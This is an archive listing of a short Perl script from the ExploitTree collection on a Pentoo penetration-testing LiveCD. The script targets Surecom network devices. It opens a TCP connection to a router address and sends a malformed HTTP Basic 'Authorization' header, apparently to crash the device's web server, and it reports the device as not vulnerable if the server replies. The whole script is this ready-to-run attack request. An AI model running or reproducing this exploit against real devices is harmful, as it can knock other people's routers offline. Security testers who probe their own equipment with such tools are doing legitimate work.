home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / surecom / surecom-tester.pl < prev    next >
Perl Script  |  2005-02-12  |  643b  |  33 lines

  1. #!/usr/bin/perl
  2.  
  3.  
  4. use IO::Socket;
  5.  
  6.  
  7. # default settings
  8.  
  9. $server = "192.168.0.1";
  10. $port = "80";
  11. $http_request = "GET / HTTP/1.1\r\nAuthorization: B 00000000\r\n\r\n";
  12.  
  13. if(@ARGV == 2) {
  14.  
  15.         $server = $ARGV[0];
  16.         $port = $ARGV[1];
  17.  
  18. }
  19. else {
  20.  
  21.         print "Usage: ./surecom_tester [address] [port]\n\n";
  22.         print "Using default settings...\n\n";
  23.  
  24. }
  25.  
  26. $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$server,
  27. PeerPort=>$port)
  28.   or die "ERROR: can't connect to $server on port $port\n\n";
  29. print $socket $http_request;
  30. $http_response = <$socket>;
  31. print "The server's not vulnerable and replied with " . $http_response .
  32. "\n";
  33.